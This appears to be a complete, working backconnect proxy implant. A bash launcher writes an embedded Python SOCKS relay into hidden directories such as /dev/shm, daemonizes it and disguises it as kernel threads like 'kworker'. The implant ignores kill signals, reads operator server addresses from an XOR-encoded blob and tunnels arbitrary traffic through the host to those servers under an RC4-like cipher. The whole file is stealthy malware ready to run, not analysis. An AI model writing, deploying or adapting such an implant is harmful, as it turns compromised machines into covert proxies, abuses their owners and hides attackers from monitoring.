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#!/bin/bash
# Backconnect v23 - Full daemonize (based on v22)
N="bcksocks";D=3;PD=""
ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60"
find_writable() {
for d in /tmp /var/tmp /dev/shm /run "$HOME"; do
[ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; }
done
echo "./.$N"
}
PD="$(find_writable)"
fp() {
# SAFE: only python processes by interpreter + path, no network search
pgrep -f "python.*$PD.*$1.*$2" 2>/dev/null
}
kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; }
ka(){
# SAFE: only kill python with our path
pgrep -f "python.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null
rm -rf "$PD"
echo "Done"
exit 0
}
st(){
echo "Status:"
[ -d "$PD" ] || { echo " None"; exit 0; }
for f in "$PD"/*.pid; do
[ -f "$f" ] || continue
p=$(cat "$f")
n=$(basename "$f" .pid)
kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n"
done
exit 0
}
xc() {
local k="$1"
local d="$2"
local o="" i=0
local kl="${#k}"
[ "$kl" -eq 0 ] && { echo ""; return; }
while [ $i -lt ${#d} ]; do
local dc="${d:$i:2}"
[ ${#dc} -lt 2 ] && break
local db=$((16#$dc))
local ki=$((i/2%kl))
local kb=$(printf '%d' "'${k:$ki:1}")
local xb=$((db^kb))
o+=$(printf '%02x' $xb)
i=$((i+2))
done
echo "$o"
}
s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; }
h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; }
enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; }
dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; }
spawn() {
local host="$1" port="$2" id="$3"
mkdir -p "$PD" 2>/dev/null
local pidf="$PD/${id}.pid"
local pyf="$PD/${id}.py"
cat > "$pyf" << PYEND
import socket,select,threading,random,time,os,sys,signal
# === THREAD STACK SIZE (128KB instead of 8MB default) ===
try:
threading.stack_size(131072)
except:
pass
# === DAEMONIZE ===
def daemonize(pidfile):
if os.fork() > 0: sys.exit(0)
os.setsid()
if os.fork() > 0: sys.exit(0)
try: os.chdir('/')
except: pass
os.umask(0)
for fd in range(3, 64):
try: os.close(fd)
except: pass
sys.stdin = open('/dev/null', 'r')
sys.stdout = open('/dev/null', 'w')
sys.stderr = open('/dev/null', 'w')
if pidfile:
try:
with open(pidfile, 'w') as f: f.write(str(os.getpid()))
except: pass
# === MASK PROCESS NAME ===
def mask_process():
names = ['kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd']
suffix = ['','/0','/1','/0:0','/0:1']
pn = random.choice(names) + random.choice(suffix)
try:
import ctypes
libc = ctypes.CDLL('libc.so.6')
libc.prctl(15, pn.encode(), 0, 0, 0)
except: pass
try:
with open('/proc/self/comm', 'wb') as f: f.write(pn.encode()[:15])
except: pass
H,P='${host}',${port}
PF='${pidf}'
daemonize(PF)
mask_process()
# Ignore ALL relevant signals including SIGPIPE
for s in [1, 2, 13, 15]:
try: signal.signal(s, signal.SIG_IGN)
except: pass
x=bytearray([random.randint(0,254) for _ in range(50)])
def rc4(p,b,s,z):
L=len(p)
for i in range(z):b[s+i]^=p[i%L]
r=list(range(256));j=0
for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
i=j=0
for k in range(z):
i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
b[s+k]^=r[(r[i]+r[j])&255]
for i in range(z):b[s+i]^=p[i%L]
SS=None
SL=threading.Lock() # Lock для отправки на сервер
AL=threading.Lock() # Lock для sa/sk массивов
sa=[0]*200
sk=[None]*200
wc=0 # Worker count
MAX_WORKERS=200
ALIVE=True # Флаг для остановки workers при реконнекте
GEN=0 # Generation counter для определения старых workers
def ssend(d,gen):
"""Отправка с защитой от SIGPIPE и проверкой generation"""
global SS,GEN
try:
with SL:
if SS and gen==GEN:
# Используем send с таймаутом вместо sendall внутри lock
SS.settimeout(5)
try:
SS.sendall(d)
except (BrokenPipeError, ConnectionResetError, OSError):
return 0
finally:
SS.settimeout(None)
return 1
except:
return 0
def worker(n,cs,b0,gen):
"""Worker с проверкой generation"""
global sa,sk,wc,GEN,ALIVE
r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
ok=0
try:
if b0[7]==3:
dl=b0[8];dom=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1]
elif b0[7]==1:
dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
else:raise Exception()
cs.settimeout(10)
cs.connect((dom,pt))
cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
cs.settimeout(None) # Будем использовать select
with AL:
if gen==GEN and ALIVE: # Проверяем что не было реконнекта
sa[n]=1;sk[n]=cs
r[4]=0;ok=1
except:
try:cs.close()
except:pass
rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
if ok:
try:
while True:
# Проверяем флаги
with AL:
if sa[n]!=1 or gen!=GEN or not ALIVE:break
# select с exceptfds для обнаружения ошибок
try:
rl,_,el=select.select([cs],[],[cs],1)
except:break
if el:break # Ошибка на сокете
if rl:
try:
d=cs.recv(65530)
except:break
if not d:break
buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
rc4(x,buf,0,3);rc4(x,buf,3,len(d))
if not ssend(bytes(buf),gen):break
except:pass
with AL:
sa[n]=0;sk[n]=None
if wc>0:wc-=1
try:cs.close()
except:pass
# Отправляем уведомление о закрытии только если generation совпадает
if gen==GEN:
r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)
def main():
global SS,sa,sk,wc,ALIVE,GEN
# Увеличиваем generation и останавливаем старые workers
with AL:
GEN+=1
ALIVE=True
wc=0
for i in range(200):
sa[i]=0
c=sk[i];sk[i]=None
if c:
try:c.close()
except:pass
gen=GEN # Локальная копия для этой сессии
rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
try:
SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
SS.settimeout(10)
SS.connect((H,P))
SS.settimeout(None)
hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
rc4(x,hs,50,50);SS.sendall(bytes(hs))
while ALIVE and gen==GEN:
if r4<4:
# select с exceptfds
try:
rl,_,el=select.select([SS],[],[SS],60)
except:break
if el:break # Ошибка на сокете
if not rl:
if time.time()-ka_time>60:
ka=bytearray(3);rc4(x,ka,0,3)
if not ssend(bytes(ka),gen):break
ka_time=time.time()
continue
try:
d=SS.recv(4-r4)
except:break
if not d:break
b0.extend(d);r4+=len(d);ka_time=time.time()
if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
if r4==4:
if edx==0:
if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
if 0<ebx<200:
with AL:
sa[ebx]=0
c=sk[ebx];sk[ebx]=None
if c:
try:c.close()
except:pass
r4=0;b0=bytearray()
else:
if edx>1048576:break # Max 1MB
need=edx-rm
if need>0:
try:
d=SS.recv(min(need,65536))
except:break
if not d:break
b0.extend(d);rm+=len(d)
if rm==edx:
rc4(x,b0,4,rm)
if b0[0]==0:
# ВАЖНО: Проверка диапазона ebx ПЕРЕД созданием worker
if 0<ebx<200:
with AL:
if wc>=MAX_WORKERS:
r4=0;rm=0;b0=bytearray()
continue
wc+=1
cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
t.start()
else:
if 0<ebx<200:
with AL:
if sa[ebx]==1 and sk[ebx]:
try:
sk[ebx].settimeout(5)
sk[ebx].sendall(bytes(b0[4:4+rm]))
except:pass
rm=0;r4=0;b0=bytearray()
except:pass
# Останавливаем workers этой generation
with AL:
if gen==GEN:
ALIVE=False
try:SS.close()
except:pass
SS=None
# Даём время workers завершиться
time.sleep(1)
# Очищаем массивы
with AL:
for i in range(200):
if sa[i]!=0:
sa[i]=0
c=sk[i];sk[i]=None
if c:
try:c.close()
except:pass
time.sleep(9)
if ex:sys.exit(0)
while 1:
try:main()
except:time.sleep(10)
PYEND
chmod +x "$pyf"
python3 "$pyf" &
sleep 1
[ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
return 1
}
ir() { fp "$1" "$2" 2>/dev/null | grep -q .; }
SRV=();FORCE=0
case "${1:-}" in
-h|--help)
echo "Usage: $0 [-f] srv:port..."
echo " -e KEY srv:port... Encrypt"
echo " -d KEY [-f] Decrypt+run"
echo " -k / -s Kill/Status"
exit 0
;;
-k) ka ;;
-s) st ;;
-e)
[ -z "$2" ] && { echo "Need KEY"; exit 1; }
K="$2"; shift 2
[ $# -eq 0 ] && { echo "Need servers"; exit 1; }
enc_srv "$K" "$@"
exit 0
;;
-d)
[ -z "$2" ] && { echo "Need KEY"; exit 1; }
K="$2"; shift 2
[ "${1:-}" = "-f" ] && { FORCE=1; shift; }
[ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; }
DE=$(dec_srv "$K" "$ENC_DATA")
[ -z "$DE" ] && { echo "Decryption failed"; exit 1; }
for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done
;;
-f)
FORCE=1; shift
for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
;;
*)
for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
;;
esac
[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; }
command -v python3 &>/dev/null || { echo "python3 required"; exit 1; }
mkdir -p "$PD"; c=0
for s in "${SRV[@]}"; do
h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
c=$((c+1))
if ir "$h" "$p"; then
if [ "$FORCE" = "1" ]; then
printf "[$c/${#SRV[@]}] $h:$p replacing... "
kt "$h" "$p"
else
echo "[$c/${#SRV[@]}] $h:$p running (use -f)"
[ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
continue
fi
else
printf "[$c/${#SRV[@]}] $h:$p "
fi
spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
[ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done"
